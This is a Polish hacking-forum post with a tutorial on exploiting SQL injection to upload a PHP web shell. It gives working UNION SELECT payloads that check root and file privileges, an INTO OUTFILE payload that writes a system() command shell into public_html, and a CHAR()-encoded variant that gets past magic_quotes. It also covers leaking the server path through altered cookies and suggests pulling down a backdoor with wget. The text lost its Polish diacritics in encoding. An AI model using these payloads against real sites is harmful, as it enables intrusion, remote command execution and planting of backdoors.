Poka wyniki od 1 do 1 z 1

Wygld wtkowy

  1. #1

    Domylnie [Tutoral praktyczny] Jak zuploadowac plik na serwer przy pomocy bdw SQL Injection

    Tutek mojego autorstwa, prosz o przeniesienie do "tutoriale"
    Tutorial nie jest pisany dla todziobw musisz posiada podstawow wiedz na temat PHP i jzyka SQL.

    1.Musimy znale pen ciek biecego uytkownika.
    2.Musimy sprawdzi, czy serwer ma "magiczne cudzysowia".
    3.Skrypt musi wykonywa si na koncie ROOTA.

    Na pocztku trzeba wyjasni kilka podsatwowych rzeczy. Po pierwsze musimy dowiedzie si, czy nasz uytkownik jest rootem (uytkownik na ktrym dziaa skrypt storny) mona
    zrobi za pomoc nastpujcego zapytania:

    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4,user,6,7,8,9,10,11,12,13 from mysql.user—
    Jak ju mwiem art nie jest skierowany do ludzi zielonych mog powiedzie tylko, e polecenie union suy do tego by zamieni tabelki w bazie danych np, mamy taki ukad w bazie danych do ktrego skrypt si odwouje przy logowaniu
    ID,USER,PASSWORD,MAIL,STATUS Polecenie union pozwala np zamieni nam "ID" z REKORDAMI O NAZWIE "PASSWORD". Wic jeli mamy podatno w skrypcie np newsw ktre wywietlaj ID newsa dziki temu po wykorzystaniu bdu bdziemy mogli widzie np HASLO to tak w ramach przypomnienia bo ten tutorial nie dotyczy wywietlania hasa tylko adowania pliku na serwer.

    Wic zamy teraz, e po wykorzystaniu tego kodu okazuje si, e skrypt siedzi na koncie root,
    Teraz, gdy wiemy, e to jest root, moemy sprawdzi swoje uprawnienia za pomoc nastpujcej "komendy" a raczej zapytania
    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4,concat_ws(‘:’,user,file_priv),6,7,8,9,10,1 1,12,13—

    Jeli wywietli nam si nazwa uytkownika ktry jest rootem bdzie wygldao to tak:
    ktos/Y

    A jeli jest rootem to bdziemy mogli korzysta z INTO OUTFILE i zaadowa powok (shella), teraz trzeba kontynuowa i zobaczy, czy moemy znale pen ciek by mc zaadowa powok.
    Sw pare o INTO OUTFILE pozwala to utworzy plik na serwerze z parametru URL moemy poda zawarto tego pliku czyli w naszym wypadku skryptu shella.
    Jedynym warunkiem jest podanie penej scieki do pliku zaczynajc od katalogu domowego w systemie LINUX (zakadamy ze storna stoi na linuxie) ktry nazywa si HOME

    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4,”TUTAJ OSADZMY KOD ZAWARTOSCI PLIKU SHELL.php”,6,7,8,9,10,11,12,13 INTO OUTFILE /home/ktos/public_html/shell.php--

    /home/ nazwa katalogu domowego
    /ktos/ nazwa uzytkowniak
    /public_html/ tutaj le wszystkie pliki na serwerze
    /shell.php nasz wygenerowany srkypt


    Wic umiemy tam prosty kod ktry da nam przej "wadze nad systemem na stronie"

    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4, “<?php system($_GET['komenda']); ?>”,6,7,8,9,10,11,12,13 INTO OUTFILE “/home/ktos/public_html/shell.php—

    Co nam do daje?
    $_GET['komenda'] - jest to jak wiadomo tablica ktra przechowuje jakie dane z parametru URL
    funkcja system, jest to standardowa funkcja w PHP ktra pozwala z poziomu www sterowa powok.
    Po utworzeniu tego kodu w pliku shell.php pojawi si ta zawarto
    <?php system($_GET['komenda']); ?>
    jak to wykorzysta?
    Skoro wiemy, e plik shell.php jest ju na serwerze musimy si do niego odwoa i wywoa polecenie z parametru URL poprzez $_GET
    <?php system($_GET['komenda']); ?>
    Robimy to tak
    przykladowastorna.pl/shell.php?komenda=ls
    Co nam to dao po znaku zapytania odwoujemy si do tablicy o nazwie komenda do ktrej wprowadza si dane jakie ma wykona funkcja system po znaku "=" wpisujemy t komenda, w przykadzie uyem "LS" jest to podstawow komenda w systemach linuksowych ktrzy odpowiada w windowsie komendzie "dir" czyli wywietlania listy plikw w danym katalogu.
    W efekcie uzyskaem taki wynik:

    46 Dinitrol 7250 can 5l c.jpg
    plik.pdf
    plik2.pdf
    blednyskrypt.php
    shell.php
    index.php
    obrazki.jpg

    Czyli liste plikw w poleceniu mona wpisywa wszystko np mona uy programu wget do scigniecia jakiego oprogramowania backdoora itd.


    Ok nic nie powiedziaem na temat tego jak uzyska pena sciek dostpu o ktrej pisaem powyej.
    Bdziemy musieli skorzysta do tego z wtyczki ktra jest np do firefoxa o nazwie live http headers znajdziesz j na google.
    Suy ona do tego by przechwytywa zapytania HTTP czyli to co przesya si do serwera w momencie adowania strony.
    Otwieramy live http headers i szukamy czego takiego po odwieeniu strony
    PHPSESSID=32932930229303290
    albo
    Cookie:blablblablablabla

    Klikamy na ktre z tych za pomoc przycisku edit o ile dobrze pamitam, po czym wpisujemy tam wartoc "0" nastpnie naciskamy replay. Serwer przeaduje skrypt i wywietli bd ze wzgldu na to, e dosta nieprawidowe dane i przy okazji wywietli pen sciek do katalogu home/ktos/public_html ...
    Oczywicie ta sztuczka nie zadziaa zawsze bo zalene jest to od konfiguracji serwera.

    Druga rzecz bardzo wana o ktrej nie wspomniaem jest pewne zabezpieczenie w konfiguracji PHP nazywa si Magic_Quotes jeli ustawiona jest na tryb wczony na serwerze.
    To zacznie ona ucina przychodzce dane od skryptu jeli napotka znaki specjalne takie jak <,/,? i zamieni na \<\/\? w ktrych umiecilimy tagi zwizane z php. Wic skrypt nie zapisze si na serwerze
    A robic shella wanie tak zrobilimy wpisalimy znaki specjalne tworzc kod
    <?php system($_GET['komenda']); ?> w efekcie jeli zakadamy, e serwer uywa magic_quotes
    to w skrypcie zapisz si <\?php system($_GET['komenda'\]); \?> co takiego mniej wicej i skrypt si nie wykona.
    Musimy uciec si do pewnego podstpu.
    Kada przegldarka internetowa oprcz czytania zwykych znakw potrafii rwnie odczytywa tablice znakw ASCII

    przykladowastrona.pl/blednyskrypt.php?id=1 and 1=0 union all select 1,2,3,4, CHAR(60,63) “system($_GET[‘koemnda’]); “ CHAR(63,62),6,7,8,9,10,11,12,13 INTO OUTFILE “/home/ktos/public_html/shell.php--


    Polecenia CHAR rozkazuje przegldarce przeczytanie tego co jest w nawiasach (63, 62)
    a jest tam ukryte w pierwszym nawiasie "<?" czyli kod rozpoczynajcy dziaanie skryptu PHP a on zawiera znaki specjalne natomiast jest ukryty wic magic_quotes go nie wyapie
    natomiast drugi nawias CHAR(63,62) zawiera ukryte "?>" czyli zamykanie kodu php
    i w efekcie skrypt utworzy si poprawnie.
    Ostatnio edytowane przez gosciuuu ; 17-01-2014 o 23:48

Podobne wtki

  1. Odpowiedzi: 2
    Ostatni post / autor: 16-11-2010, 00:06
  2. Jak Wstawi plik na swj serwer zeby sie sciga??
    Przez maciekek
    w forum HTML, CSS, JavaScript
    Odpowiedzi: 1
    Ostatni post / autor: 04-03-2007, 11:03
  3. pomocy serwer
    Przez zbystura
    w forum Inne narzdzia
    Odpowiedzi: 3
    Ostatni post / autor: 07-06-2005, 19:43
  4. Duo bdw przy starcie Linuxa
    Przez CyberKid007
    w forum Linux/BSD/Unix
    Odpowiedzi: 4
    Ostatni post / autor: 01-10-2003, 16:25

Uprawnienia

  • Nie moesz zakada nowych tematw
  • Nie moesz pisa wiadomoci
  • Nie moesz dodawa zacznikw
  • Nie moesz edytowa swoich postw
  •